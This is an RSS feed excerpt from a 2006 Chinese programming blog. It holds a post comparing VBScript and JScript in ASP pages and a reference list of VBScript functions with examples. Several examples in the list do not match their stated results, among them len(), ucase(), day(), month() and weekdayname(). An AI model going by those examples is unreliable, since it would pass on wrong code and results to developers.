/>写这篇文章的动机是看到了大家对VBScript和Javascript的讨论以及另一片类似的文章，觉得有必要将大家的想法加以整理:-)，并将我在工作中产生的一些心得拿出来和大家分享，希望对大家有所帮助。当然，水平有限，错误在所难免。<br /><br /><br />Active Server Pages是Microsoft Windows DNA的重要组成部分，使用ASP我们可以很容易的构造功能强大的基于Web的应用。有很多脚本编写语言可供我们进行ASP创作，如：VBScript、JavaScript、Perl 和Rexx等，你可以从几种脚本编写语言中选择一个。本文中我们讨论微软公司所提供的两种脚本编写语言： <br />VBScript<br />JScript<br /><br />首先，我想讨论的是：<br /><br />一、什么时候使用VBScript 和JScript，以及两者之间的区别<br /><br />VBScript 是Visual Basic的子集，全称是Microsoft Visual Basic Scripting Edition。如果你曾经用过Visual Basic或者是Visual Basic for Applications (VBA)，你就会觉得非常熟悉。不过它们并不完全一样，因为VBScript是特意为在WEB中进行工作而设计的。<br /><br />JScript是ECMAScript的Microsoft版本，是一组包括JScript 和JavaScript脚本编写语言的标准定义。JScript从一组编程语言如C, C++, 以及Java等之中脱离出来的。如果你以前曾经用过C或者是Java，那么JScript的结构你会觉得非常熟悉。即便你不知道这些语言也没有关系，JScript的结构一点也不难，它像C和Java一样方便而没有它们那么复杂。<br /><br />微软公司在Internet Explorer和Internet Information Server (IIS)中为它们提供了ActiveX Scripting Language（ActiveX脚本编辑语言）引擎(比如vbscript.dll、jscript.dll)。<br /><br />那么，什么时候选择何种语言？<br />我们知道，进行ASP开发无外乎要编写下列两种脚本之一：<br /><br />1)服务器脚本：<br />在ASP页面中为IIS编写服务器脚本，无论使用那种语言都没有问题。并且微软公司的Visual InterDev对它们支持的都很好。<br /><br />2)客户端脚本：<br />如果你想在浏览器脚本中使用VBScript，那么浏览器必须是Internet Explorer的某个版本。因为其他浏览器可能不支持VBScript。如果要建立一个公共Web站点，你无法预知用户使用的是什么浏览器，那么VBScript只能用于Internet Explorer这个限制就成问题了。<br />几乎所有允许编写脚本的浏览器都支持JScript。因此，如果为一个公共Web站点编写应用程序，用JScript来编写客户端脚本是很自然的选择。<br /><br />影响你做决定的其他主要因素还有：<br /><br />1、错误控制<br />在VBScript中有On Error 错误陷阱来对错误情况进行控制，如：On Error Resume Next。如果你编写的是服务器脚本，错误控制非常重要，因为脚本的运行是无人照顾的。Jscript没有这种机制。<br /><br />2、格式化<br />VBScript有这样的功能，能够轻易地把数据，数字和货币数据格式化。JScript没有这样的功能。<br /><br />3、动态执行<br />JScript一个非常有力的特性是：它允许你在你的脚本内动态地建立和执行脚本(eval()函数、execScript()方法等)。简而言之，在你的脚本中能够编写脚本。当你用DHTML进行工作时，这个特性是非常有用的，因为这样你就能够动态的操作DHTML的文档模型了。VBScript无此功能。例如，在客户端的Javascript里你可以使用类似这样的句法：<br /><br />execScript("on error resume next:object.execWB 4, 1","VBScript");<br /><br />4、面向对象<br />JScript使用的是一种基于原型的对象结构，允许你在脚本中定义对象。你能够往对象的原型中加入方法和属性，扩展内置对象和定制对象。例如：<br /><br />//自定义对象myObject<br />function myObject(){<br />    //自定义属性<br />    this.properties1=value;  //此时赋值为该属性的默认值<br />    this.properties2;<br />    ...<br />    //自定义方法<br />    this.myMethod1=Method1;<br />    this.myMethod2=Method2;<br />}<br /><br />function Method1(arg){<br />    //block;<br />}<br /><br />function Method2(arg){<br />    //block;<br />}<br /><br />尤其有用的是该对象可通过SOM传回客户端，使得ASP编程方式更象以往的C/S结构。（我近期内可能会写一篇深入讨论SOM的文章，对该方法作详细讨论）<br /><br />5、事件控制<br />用VBScript在Internet Explorer中控制事件很方便，就像在Visual Basic中一样。在VBScript中也能够建立一个隐含的事件处理程序，这只需要用对象事件结构形式来定义一项功能就行了，比如说隐式调用Button1_onclick。不过在Internet Explorer中，JScript没有这项功能（但在其他的JScript主机上支持这项功能）。<br />在Internet Explorer 中使用JScript控制事件，会要求你链接到一个对象上，而这个对象又是与事件处理程序相连的。通常，只要在鉴别事件并且有处理程序功能的对象的标签栏中指明其属性即可。如下所示： <br /><br />&lt;SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript&gt;<br />&lt;!--<br /><br />function button1_onclick() {<br />    alert("button1 Clicked")<br />}<br /><br />//--&gt;<br />&lt;/SCRIPT&gt;<br />&lt;INPUT type="button" value="Button" id=button1 name=button1 LANGUAGE=javascript onclick="return button1_onclick()"&gt;<br /><br />或者使用类似下面的语法:<br />&lt;SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript&gt;<br />&lt;!--<br />function window_onload() {<br />    //Block;    <br />}<br />//--&gt;<br />&lt;/SCRIPT&gt;<br />&lt;SCRIPT LANGUAGE=javascript FOR=window EVENT=onload&gt;<br />&lt;!--<br />window_onload()<br />//--&gt;<br />&lt;/SCRIPT&gt;<br /><br />值得注意的是，上例中LANGUAGE属性设置为“Javascript”。Internet Explorer对于"JScript" 和"Javascript"这两个名字都认识，但许多其他浏览器却只认识"Javascript"，不认识"JScript" 。因此，为了保险起见，如果你不能确定该网页是用Internet Explorer来浏览，就最好用"Javascript"。<br />6、数据类型<br />VBScript和JScript的数据类型差别比较大，JScript有6种数据类型：数值型、字符串型、对象型、<br />布尔型、null和undefined。VBScript虽然只有一种数据类型Variant，但其子类型比较丰富。特别<br />是其对数值类型的精细划分使得在进行精确的数值运算时显得比较放心。且配合第2条中所讲到的<br />格式化功能使数据处理更加得心应手。有关这方面的文档请参阅微软的MSDN。<br /><br />7、运算符<br />在运算符方面VBScript和JScript也有一些差别：<br />例如，VBScript增加了用于字符串连接的算术运算符“&amp;”，用于对象比较的“is”运算符等。<br />然而JScript提供了比VBScript多得多的运算符，例如递加递减运算符“++、--”、一组位运算符<br />及typeof、delete等杂项运算符等。有关此方面的信息MSDN中非常详细，在此不必复述。<br /><br />8、字符串处理<br />VBScript和Javascript的字符串处理曾经也是网友们争论的焦点，它们对字符串的处理有着本质<br />的不同，我之所以将这部分单独提出来，也是想引发网友们作一些较为详细的讨论。<br />在VBScript中字符串只是一种简单的数据类型而已，并为之提供了非常丰富的字符串处理函数，<br />例如：<br />ASC,Chr,InStr,InStrRev,Join,LCase,UCase,Left,Right,Len,LTrim,RTrim,Trim,Mid,Replace,<br />Space,String,Split,StrComp,StrReverse<br />因此有很大一部分网友认为VBScript的字符串处理功能比JScript简捷、功能强大。<br /><br />不过我不这么认为。简捷是有可能的，但谈到强大，我觉得JScript功能更为强大。在JScript中，<br />字符串不仅是一种数据类型，更是一类特殊的对象。作为对象的方法，他不仅提供了上述<br />VBScript中字符串函数的几乎所有功能，而且配合正则表达式能够提供更为强劲的功能。<br /><br />一种典型的应用就是字符串的模糊搜索，看下面这个例子：<br />我想把一篇文章中的Chen0,Chen1,chenk,Chen99等可能的拼写方法替换成JoyASP:<br /><br />var txt = myTextFile.ReadAll();<br />var re = /chenk?\d?\d?/gi;<br />txt = txt.replace(re,"JoyASP");<br /><br />这种用法在不能精确地预知被处理的字符串时显得尤其有用。熟悉Unix,C,C++,Perl的网友可能<br />对正则表达式不会陌生，关于这方面的内容请查阅相关文章。<br /><br /><br />二、在同一个网页中同时使用两种语言<br /><br />在同一个网页中可以使用不同的脚本编写语言。这样做有以下几个可能的原因： <br />A、在一个程序中充分利用各种语言的优点。 <br />B、可能所面对的现有编码是用你不熟悉的语言来编写的。例如，DTC是用JScript编写的，而<br />你熟悉的语言却是VBScript。<br />大部分情况下，你可以在同一个网页中混合几种脚本语言并且它们相互之间能够配合得很好。<br />用一种语言编写的脚本可以调用用另外一种语言编写的程序并且能够共享全局变量。不过有时<br />候还是会出现一点小问题，现在就此说明一下。 <br /><br />1、当你从VBScript中调用一个JScript函数时，注意在调用过程中要有括号，即使这项函数不<br />要求设置参数也需如此。例如，一个调用应该像这样：<br /><br />returnValue = call_JScript_Function()<br /><br />如果你忘记了加括号，那么这个函数所返回的值就不是你所希望的值，而是一个包含了函数本<br />身的VBScript无法解释的对象。<br /><br />2、服务器脚本的执行顺序<br />被&lt;% %&gt;定界符括入的命令被称为主脚本命令，主脚本命令按顺序运行，从头到尾。当然，你可<br />以在一个服务器脚本中定义一个可调用的程序（函数或者是子程序）。这样的话，如果需要就<br />可以随时调用它们。 <br />所有的主脚本命令必须用同一种语言来编写，也就是在网页前面的&lt;%@ LANGUAGE=xxxxx%&gt;指示<br />中所指明的脚本语言。因此，在一个主脚本命令中你不能把几种脚本语言混合起来。 你也许会<br />说“等一等”。在理论上，把服务器脚本放到&lt;script&gt;单元中是绝对可能的。就像下例一样： <br /><br />&lt;%Response.Write("I Love joyASP!")%&gt;<br />&lt;SCRIPT language=VBScript RUNAT=Server&gt;<br />Response.Write("I Love 我心飞扬, too.")<br />&lt;/SCRIPT&gt; <br /><br />但是，这样你就会被IIS ASP处理程序的执行顺序控制。例如，如果你建立了服务器脚本并且在<br />IIS 4.0中运行它，你会发现执行顺序可能是这样的：<br /><br />1)非缺省语言的&lt;SCRIPT&gt;单元脚本<br />2)主脚本命令<br />3)缺省语言的&lt;SCRIPT&gt;单元脚本<br /><br />以上的顺序在很大程度上依赖于ActiveX脚本语言引擎的载入顺序，同时IIS中的ASP处理程序可<br />能在将来会有所改变。因此，我不不大赞成按这种方式书写代码，建议你是只把&lt;SCRIPT&gt;单元<br />用于函数或者子程序，或是把它仅仅用于其他与执行顺序无关的编码。<br /><br />3、客户端脚本块的顺序<br />当你在客户端把几种语言混合使用时，&lt;SCRIPT&gt;块在网页中出现的顺序非常重要，有时候会影<br />响到它们是否能正常工作。看看下面这个简单的例子，它是在一个VBScript脚本中调用一个用<br />JScript编写的函数：<br /><br />&lt;SCRIPT LANGUAGE="VBScript"&gt;<br />' 调用一个JScript function<br />her = "Lucy"<br />loveher = JSfuncLoveher(her)<br />document.write("绝密情报：" &amp; loveher)<br />&lt;/SCRIPT&gt;<br /><br />&lt;SCRIPT LANGUAGE="JavaScript"&gt;<br />function JSfuncLoveher(arg){<br />return "White、飞鸟和Moslem都想泡" + her + "MM :-)";<br />}<br />&lt;/SCRIPT&gt;<br /><br /><br />它不会起任何作用。说得更明白一点，document.write()会往网页中写入一个空的字符串。为<br />什么？很简单，在处理VBScript块时，下面的Java Script &lt;SCRIPT&gt;块还没有被读出来，没有<br />进行语法分析，因此网页不能使用它。当浏览器处理网页中的脚本块时，它是从上往下进行的。 <br /><br />在这个例子中，只需要调换一下脚本块的顺序就能够解决这个问题了。不过，事实上这类问题<br />并不那么常见，在大多数情况下，&lt;SCRIPT&gt;中包含的函数和子程序只有当整个网页被全部下载<br />下来并且所有的单元都可以使用之后才能够被调用。不过，你还是要记住，网页是按照一定的<br />顺序来处理的，不同语言的&lt;SCRIPT&gt;块是分别处理的。 <br />3、区分大小写以及命名习惯 <br />JScript是严格区别大小写的：在每个JScript的关键字，每个JScript命名空间的所有部分中，<br />你可以把大写和小写字母恰当的结合起来使用。这其中包括了你使用的对象模型中所有的关键<br />字。例如，当你使用ASP Response对象时，必须正确地使用大小写字母(如Response.Write)，<br />否则JScript会坚决不予承认。同样，如果你为DHTML onclick事件编写一个处理程序，如果用<br />在Visual Basic中经常发生的随便使用大小写的形式JScript可能就不会承认。<br /><br />VBScript是不区分大写和小写字母的。在某种程度上，这种不计较大小写的疏忽甚至在你用<br />VBScript对JScript编写的单元进行访问时都没什么问题。下面例子中给出了两个脚本。第一<br />个是用JScript编写的，其中还包括了一个全局变量（ctr）和一个函数（doubleMe）。第二个<br />脚本是用VBScript编写的，它是一个按钮处理程序，它能够调用JScript函数，并且报告全局<br />变量的值。 <br /><br />&lt;SCRIPT LANGUAGE=javascript&gt;<br />var ctr;<br />function doubleMe(aNumber){<br />    if(parseInt(ctr)){<br />        ctr = ctr + 1;<br />    }<br />    else{<br />        ctr = 1;<br />    }<br />return aNumber * 2;<br />}<br />&lt;/SCRIPT&gt;<br /><br />&lt;SCRIPT LANGUAGE="vbscript"&gt;<br />Function btn1_onclick()<br />    numberToDouble = 12<br />    msgbox "The doubled number = " &amp; DOUBLEME(numberToDouble)<br />    msgbox "You have doubled the number " &amp; CTR &amp; " times."<br />End function<br />&lt;/SCRIPT&gt;<br /><br />在VBScript脚本中，很明显，我在提到doubleMe 函数和ctr变量时，没有正确使用字母的大小<br />写，但是程序依然运行良好。 这是一个好消息。而坏消息就是，在下面这些情况下你一定要注<br />意字母的大小写：如果网页中的JavaScript脚本所包含的单元只能够通过字母的大写和小写来<br />区分，例如，一个叫做Timer()的函数和一个叫做timer的全局变量等等。很不幸，尽管这种编<br />码方式不怎么好，但是有时候在你的网页中还是可能会遇到原来就存在的编码。 <br /><br />在一个函数调用中把JScript单元的名字作为一个字符串参数来使用<br /><br />如果JScript包括的单元仅仅能够用字母的大小写来区分，那么VBScript就会把它们看成一样的<br />（也就是说，不区分大写和小写）。VBScript只能看看不管大小写的区别，它们是不是一样，<br />因此它识别出的只有一个JScript单元。换一句话说，如果VBScript首先找到的是叫做Timer()<br />的函数，那么它就无法找到叫做timer的全局变量了，反之也是一样。即便你在VBScript编码中<br />十分注意的把它们做了区别结果也是一样。因为VBScript在处理这些名字的时候认为它们只有一<br />种写法。不幸的是，这里没有其它的解决方法，除非在JScript的代码中不利用这些大小写之间<br />的微小差别来区分不同的函数名称。 <br /><br />除了在某些特殊的情况下，把单元名作为参数使用这种问题并不常见。特殊情况之一是在Visual <br />InterDev 6.0中的脚本对象模型中。下面我会把它作为一个例子来使用，你可以把它看作是相同<br />情况下的处理准则。 <br /><br />Visual InterDev 6.0的脚本对象模型都是用JScript来编写的。你也可以用VBScript来编写自己<br />的编码，它能够与用VBScript区分大小写方式编写的脚本对象模型一起使用。有时候，你不能够<br />直接调用某一方法，除非你把这个方法的名称传递到一个JScript函数中，而由函数来调用这个<br />方法。 <br /><br />一个典型的例子就是警告方法，你可以用它把一个方法绑定到一个特殊的事件上。在下面这个例<br />子中，一个按钮的onmouseover事件被绑定到changecaption()事件处理程序上。 <br /><br />&lt;SCRIPT LANGUAGE="VBScript"&gt;<br />Function setAdviseMethods()<br />    Btn1.advise("onmouseover", "changecaption()")<br />End Function<br />&lt;/SCRIPT&gt; <br /><br />因为你把这些名字作为字符串传送到一个JScript函数中，所以你必须使用正确的大小写表示。<br />JScript会自动用它的区分大小写的规则来检查这些名字，如果大小写不正确，就会找不到它们。<br /><br />4、从VBScript 往JScript中传送数组<br />有时候一个VBScript程序会传送一个数组作为它的一个参数，或者作为它的返回值。你可以从JScript<br />中调用这个程序，不过必须把VBScript数组转换成为一个可用的JScript数组。你只要在JScript函数中<br />建立一个VBArray对象并且用toArray把它转换成为一个JScript数组就可以了。<br /><br />注意：JScript不支持多维数组，如果原来的VBScript数组是多维的，经过toArray的转换后它会成为一<br />个一维的JScript数组。 在下面的例子中有一个VBScript脚本，它建立了一个数组，还有一个JScript<br />脚本，它将说明如何才能获得并使用这个数组：<br /><br />&lt;SCRIPT LANGUAGE="VBSCRIPT"&gt;<br />Function makeArrayVB()<br />    ' 建立一个 VBScript 数组<br />    dim anArray(1,1)<br />    anArray(0,0) = "0,0"<br />    anArray(0,1) = "0,1"<br />    anArray(1,0) = "1,0"<br />    anArray(1,1) = "1,1"<br />    makeArrayVB = anArray<br />End Function<br /><br />&lt;SCRIPT LANGUAGE="JavaScript"&gt;<br />// 在 JScript 脚本中访问 VBScript 数组<br />function getVBArray(){<br />    var arrayObj;<br />    var jsArray;<br />    arrayObj = makeArrayVB();<br />    jsArray = VBArray(arrayObj).toArray();<br />    alert("VBScript array length = " + jsArray.length);<br />    <br />    // 显示数组的内容<br />    for(i=1;i&lt;=jsArray.length;i++){<br />       alert(jsArray[i-1]);<br />    }<br />}<br />&lt;/SCRIPT&gt;<br />不过，在目前的VBScript（4.0）中，反过来是无法做到的。也就是说你不能把一个 JavaScript 数组转换成<br />为VBScript数组。如果你非要在VBScript程序中使用JavaScript数组，你可以用下面的做法：<br />把JScript 数组转换成一种不同的结构，如转换成一个由分隔符限制的字符串等，这样VBScript 就能够使<br />用了。例如，你可以用 toString 函数把一个数组转换成一个用逗号分隔的，无限制的字符串。这样，在 <br />VBScript 中你就能够用 Split 函数把它分成不同的单元。很明显这种方法在很多时候并不管用，不过有时<br />又的确有效。<br /><br />以上罗里罗唆的写了一大堆，希望能对网友们有帮助，也希望就某些问题展开讨论。<br />最后，祝网友们 Happy Scripting!!<br /><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6924.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/Jeff-Chen/" target="_blank">Jeff-Chen</a> 2006-05-11 11:21 <a href="http://www.cppblog.com/Jeff-Chen/archive/2006/05/11/6924.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>部分VBScript函数</title><link>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6882.html</link><dc:creator>Jeff-Chen</dc:creator><author>Jeff-Chen</author><pubDate>Wed, 10 May 2006 08:47:00 GMT</pubDate><guid>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6882.html</guid><wfw:comment>http://www.cppblog.com/Jeff-Chen/comments/6882.html</wfw:comment><comments>http://www.cppblog.com/Jeff-Chen/archive/2006/05/10/6882.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/Jeff-Chen/comments/commentRss/6882.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/Jeff-Chen/services/trackbacks/6882.html</trackback:ping><description><![CDATA[1.函数array()　 <br />功能:创建一个数组变量　 <br />格式:array(list)　 <br />参数:list　为数组变量中的每个数值列,中间用逗号间隔　 <br />例子:　 <br />&lt;%　i　=　array　(“1”,”2”,”3”)　%&gt;　 <br />结果:　i　被赋予为数组　 <br />2.函数cint()　 <br />功能:将一表达式/其它类型的变量转换成整数类型(int)　 <br />格式:cint(expression)　 <br />参数:expression　是任何有效的表达式/其它类型的变量　 <br />例子:　 <br />&lt;%　 <br />f　=　”234”　 <br />response.write　cint(f)　+　2　 <br />%&gt;　 <br />结果:　236　 <br />函数cint()将字符”234”转换　成整数234.如果表达式为空,　或者无效时,返回值为0;　 <br />3.函数:creatobject()　 <br />功能:创建及返回一个activex对象.　 <br />格式:creatobject(obname)　 <br />参数bname　是对象的名称　 <br />例子:　 <br />&lt;%　 <br />set　con　=　server.createobject(“adodb.connection”)　 <br />%&gt;　 <br />结果:　 <br />4.函数cstr()　 <br />功能:将一表达式/其它类型的变量转换成字符类型(string)　 <br />格式:cstr(expression)　 <br />参数:expression是任何有效的表达式/其它类型的变量　 <br />例子:　 <br />&lt;%　 <br />s　=　3　+　2　 <br />response.write　”the　result　is:　”　&amp;　cstr(s)　 <br />%&gt;　 <br />结果:函数cstr()将整数　5　转换　成字符”5”.　 <br />5.函数date()　 <br />功能:返回当前系统(server端)的日期　 <br />格式:　date()　 <br />参数:无　 <br />例子&lt;%　date　()　%&gt;　 <br />结果:05/10/00　 <br />6.函数dateadd()　 <br />功能:计算某个指定的时间和　 <br />格式:　dateadd(timeinterval,number,date)　 <br />参数:timeinterval是时间单位(月,日..);　number是时间间隔值,date是时间始点.　 <br />例子:　 <br />&lt;%　 <br />currentdate　=　#8/4/99#　 <br />newdate　=　dateadd(“m”,3,currentdate)　 <br />response.write　newdate　 <br />%&gt;　&lt;%　 <br />currentdate　=　#12:34:45　pm#　 <br />newdate　=　dateadd(“h”,3,currentdate)　 <br />response.write　newdate　 <br />%&gt;　 <br />结果:　 <br />11/4/99　 <br />3:34:45　pm　 <br />其中　 <br />“m”　=　”month”;　 <br />“d”　=　”day”;　 <br />如果是currentdate　格式,则,　 <br />“h”　=　”hour”;　 <br />“s”　=　”second”;　 <br />7.函数datediff()　 <br />功能:计算某量个指定的时间差　 <br />格式:　datediff(timeinterval,date1,date2[,firstdayofweek[,firstdayofyear]])　 <br />参数:　timeinterval　是时间单位;　date1,date2是有效的日期表达式,firstdayofweek,firstdayofyear　是任意选项.　 <br />例子:　 <br />&lt;%　 <br />fromdate　=　#8/4/99#　 <br />todate　=　#1/1/2000#　 <br />response.write　”there　are　”　&amp;　_　 <br />datediff(“d”,fromdate,todate)　&amp;　_　 <br />“　days　to　millenium　from　8/4/99.”　 <br />%&gt;　 <br />结果:there　are　150　days　to　millenium　from　8/4/99.　 <br />8.函数day()　 <br />功能:返回一个整数值,对应于某月的某日　 <br />格式:　day(date)　 <br />参数:　date是一个有效的日期表达式;　 <br />例子&lt;%　=date(#8/4/99#)　%&gt;　 <br />结果:4　 <br />9.函数formatcurrency()　 <br />功能:转换成货币格式　 <br />格式:　formatcurrency(expression　[,digit[,leadingdigit[,paren[,groupdigit]]]])　 <br />参数:　expression　是有效的数字表达式;digit表示小数点后的位数;leadingdigit,paren,groupdigit是任意选项.　 <br />例子&lt;%=formatcurrency(34.3456)%&gt;　 <br />结果34.35　 <br />10.函数formatdatetime()　 <br />功能:格式化日期表达式/变量　 <br />格式:　formatdatetime(date[,nameformat])　 <br />参数:　date为有效的日期表达式/变量;nameformat是指定的日期格式常量名称.　 <br />例子&lt;%　=formatdatetime(“08/04/99”,vblongdate)　%&gt;　 <br />结果:wednesday,august　04,1999　 <br />说明:　 <br />-------------------------------------------------------------------------------- <br />描述 <br />返回表达式，此表达式已被格式化为日期或时间。　 <br />语法 <br />formatdatetime(date[,　namedformat]) <br />formatdatetime　函数的语法有以下参数： 
<p>参数　描述　 <br />date　必选项。要被格式化的日期表达式。　 <br />namedformat　可选项。指示所使用的日期/时间格式的数值，如果省略，则使用　vbgeneraldate。　 <br /></p><p>设置 <br />namedformat　参数可以有以下值： <br />常数　值　描述　 <br />vbgeneraldate　0　显示日期和/或时间。如果有日期部分，则将该部分显示为短日期格式。如果有时间部分，则将该部分显示为长时间格式。如果都存在，则显示所有部分。　 <br />vblongdate　1　使用计算机区域设置中指定的长日期格式显示日期。　 <br />vbshortdate　2　使用计算机区域设置中指定的短日期格式显示日期。　 <br />vblongtime　3　使用计算机区域设置中指定的时间格式显示时间。　 <br />vbshorttime　4　使用　24　小时格式　(hh:mm)　显示时间。　 </p><p>说明 <br />下面例子利用　formatdatetime　函数把表达式格式化为长日期型并且把它赋给　mydatetime:　 <br />function　getcurrentdate　 <br />“formatdatetime　把日期型格式化为长日期型。 <br />getcurrentdate　=　formatdatetime(date,　1)　 <br />end　function <br />-------------------------------------------------------------------------------- <br />　 </p><p>11.函数isnumeric()　 <br />功能:返回一个布尔值,判断变量是否为数字变量,或者是可以转换成数字的其它变量.　 <br />格式:isnumeric(expression)　 <br />参数:expression　是任意的变量.　 <br />例子:　 <br />&lt;%　 <br />i=“234”　 <br />response.write　isnumeric(i)　 <br />%&gt;　 <br />结果:　true.　 <br />12.函数isobject()　 <br />功能:返回一个布尔值,判断变量是否为对象的变量,　 <br />格式:　isobject(expression)　 <br />参数:　expression　是任意的变量.　 <br />例子:　 <br />&lt;%　 <br />set　con　=server.creatobject(“adodb.connection”)　 <br />response.write　isobject(con)　 <br />%&gt;　 <br />结果:　true　 <br />13.函数:lbound()　 <br />功能:返回一个数组的下界.　 <br />格式:lbound(arrayname[,dimension])　 <br />参数:arrayname　是数组变量,dimension　是任意项　 <br />例子:　 <br />&lt;%　 <br />i　=　array(“1”,”2”,”3”)　 <br />response.write　lbound(i)　 <br />%&gt;　 <br />结果:0 <br />14.函数lcase()　 <br />功能:将一字符类型变量的字符全部变换小写字符.　 <br />格式:lcase(string)　 <br />参数:string是字符串变量　 <br />例子:　 <br />&lt;%　 <br />str=“this　is　lcase!”　 <br />response.write　lcase(str)　 <br />%&gt;　 <br />结果:this　is　lcase!　 <br />15.函数left()　 <br />功能:截取一个字符串的前部分;　 <br />格式:left(string,length)　 <br />参数:string字符串,length截取的长度.　 <br />例子:　&lt;%　=left(“this　is　a　test!”,6)　%&gt;　 <br />结果:this　i　 <br />16.函数len()　 <br />功能:返回字符串长度或者变量的字节长度　 <br />格式:len(string　*varname)　 <br />参数:string字符串;varname任意的变量名称　 <br />例子:　 <br />&lt;%　 <br />strtest=“this　is　a　test!”　 <br />response.write　left(strtest)　 <br />%&gt;　 <br />结果:15　 <br />17.函数ltrim()　 <br />功能:去掉字符串前的空格.　 <br />格式:ltrim(string)　 <br />参数:string　字符串.　 <br />例子:　&lt;%　=ltrim　(“　this　is　a　test!”)　 <br />结果:this　is　a　test!　 <br />18.函数mid()　 <br />功能:从字符串中截取字符串.　 <br />格式:mid(string,start　[,length])　 <br />参数:string字符串,start截取的起点,length要截取的长度.　 <br />例子:　 <br />&lt;%　 <br />strtest=“this　is　a　test,　today　is　monday!”　 <br />response.write　mid(strtest,17,5)　 <br />%&gt;　 <br />结果:today　 <br />19.函数minute()　 <br />功能:返回一数值,　表示分钟　 <br />格式:minute(time)　 <br />参数:　time是时间变量　 <br />例子lt;%　=minute(#12:23:34#)　%&gt;　 <br />结果:23　 <br />20.函数month()　 <br />功能:返回一数值,　表示月份　 <br />格式:month(time)　 <br />参数:time是日期变量　 <br />例子&lt;%　=month(#08/09/99)　%&gt;　 <br />结果:9　 <br />[color=#1e90ff]21.函数monthname()[/color]　 <br />功能:返回月份的字符串(名称).　 <br />格式:monthname(date　[,abb])　 <br />参数:　date是日期变量,abb=true时　则月份的缩写,　 <br />例子:　 <br />&lt;%　=monthname(#4/5/99#)　%&gt;　 <br />结果:april　 <br />22.函数now()　 <br />功能:返回系统的当前时间和日期.　 <br />格式:now()　 <br />参数:无　 <br />例子:　 <br />&lt;%　=now()　%&gt;　 <br />结果:　05/10/00　8:45:32　pm　 <br />23.函数:replace()　 <br />功能:在字符串中查找,替代指定的字符串.　 <br />格式:replace(strtobesearched,strsearchfor,strreplacewith　[,start[,count[,compare]]])　 <br />参数:strtobesearched是字符串;　strsearchfor是被查找的子字符串;strreplacewith　是用来替代的子字符串.start,count,compare　是任意选项.　 <br />例子:　 <br />&lt;%　 <br />strtest=“this　is　an　apple.”　 <br />response.write　replace(strtest,”apple”,”orange”)　 <br />%&gt;　 <br />结果:this　is　an　orange.　 <br />24.函数right()　 <br />功能:截取一个字符串的后部分　 <br />格式:right(string,length)　 <br />参数:string字符串,length截取的长度.　 <br />例子:　 <br />&lt;%　 <br />strtest=“this　is　a　test!”　 <br />response.write　right(strtest,3)　 <br />%&gt;　 <br />结果:st!　 <br />25.函数rnd()　 <br />功能:返回一个随机数值　 <br />格式:rnd[(number)]　 <br />参数:number是任意数值.　 <br />例子:　 <br />&lt;%　 <br />randomize()　 <br />response.write　rnd()　 <br />%&gt;　 <br />结果:0/1数值之一,无randomize(),　则不能产生随机数.　 <br />26.函数round()　 <br />功能:完整数值　 <br />格式:round(expression[,numright])　 <br />参数:expression数字表达式;numright任意选项.　 <br />例子:　 <br />&lt;%　 <br />i=12.33654　 <br />response.write　round(i)　 <br />%&gt;　 <br />结果:　12　 <br />27.函数rtrim()　 <br />功能:去掉字符串后的空格.　 <br />格式:rtrim(string)　 <br />参数:string　是字符串　 <br />例子:　 <br />&lt;%　 <br />response.write　rtrim(“this　is　a　test!　”)　 <br />%&gt;　 <br />结果:this　is　a　test!　 <br />28.函数second()　 <br />功能:返回一个整数值.　 <br />格式:second(time)　 <br />参数:time是一个有效的时间表达式;　 <br />例子lt;%　=second(#　12:28:30#)　%&gt;　 <br />结果:30　 <br />29.函数strreverse()　 <br />功能:返回与原字符串排列逆向的字符串.　 <br />格式:strreverse(string)　 <br />参数:string是字符串　 <br />例子&lt;%　=strreverse(“this　is　a　test!”)　 <br />结果:!tset　a　si　siht　 <br />30.函数time()　 <br />功能:返回当前系统的时间值.　 <br />格式:time()　 <br />参数:无　 <br />结果:9:58:28　am　 <br />31.函数trim()　 <br />功能:删去字符串前,后的空格.　 <br />格式:trim(string)　 <br />参数:string　字符串.　 <br />例子:　 <br />&lt;%　 <br />strtest=“　this　is　a　test!　”　 <br />response.write　trim(strtest)　 <br />%&gt;　 <br />结果:this　is　a　test!　 <br />32.函数ubound()　 <br />功能:返回一个数组的上界.　 <br />格式:ubound(expression　[,dimension])　 <br />参数:expression　是数组表达式/数组变量,dimension　是任意项　 <br />例子:　 <br />&lt;%　 <br />i　=　array(“1”,”2”,”3”)　 <br />response.write　ubound(i)　 <br />%&gt;　 <br />结果:　2　 <br />33.函数:ucase()　 <br />功能:将一字符类型变量的字符全部变换成大写字符.　 <br />格式:ucase(string)　 <br />参数:string是字符串变量　 <br />例子:　 <br />&lt;%　 <br />str=“this　is　lcase!”　 <br />response.write　lcase(str)　 <br />%&gt;　 <br />结果:this　is　lcase!　 <br />34.函数vartype()　 <br />功能:返回变量的常量代码(整数)　 <br />格式:vartype(varname)　 <br />参数:varname是任何类型的变量名称.　 <br />例子:　 <br />&lt;%　 <br />i=5　 <br />response.write　vartype(i)　 <br />%&gt;　 <br />结果:2　(2表示整数,须要参考asp常量代码.)　 <br />35.函数weekday()　 <br />功能:返回一个整数,对应一周中的第几天.　 <br />格式:weekday(date　[,firstofweek])　 <br />参数:　date为日期变量,firstofweek为任选项.　 <br />例子:　 <br />&lt;%　 <br />d=　#　5/9/00　#　 <br />response.write　weekday(d)　%&gt;　 <br />结果:3(3　表示是星期二)　 <br />36.函数weekdayname()　 <br />功能:返回字符串,对应星期几.　 <br />格式:weekdayname(weekday[,abb[,firstdayofweek]])　 <br />参数:weekday为日期变量,abb,firstdayofweek为任选项.　 <br />例子:　 <br />&lt;%　 <br />d　=　#8/4/99#　 <br />response.write　weekdayname(d)　 <br />%&gt;　 <br />结果:　wednesday　 <br />37.函数year()　 <br />功能:返回日期表达式所在的年份.　 <br />格式:year(date)　 <br />参数:　date是有效的日期表达式　 <br />例子:　 <br />&lt;%　=year(#8/9/99#)　%&gt;　 <br />结果:1999　 <br />38.函数mod()功能:取余数. <br />例子:3　mod　2　 <br />结果:1 </p><img src ="http://www.cppblog.com/Jeff-Chen/aggbug/6882.html" width = "1" height 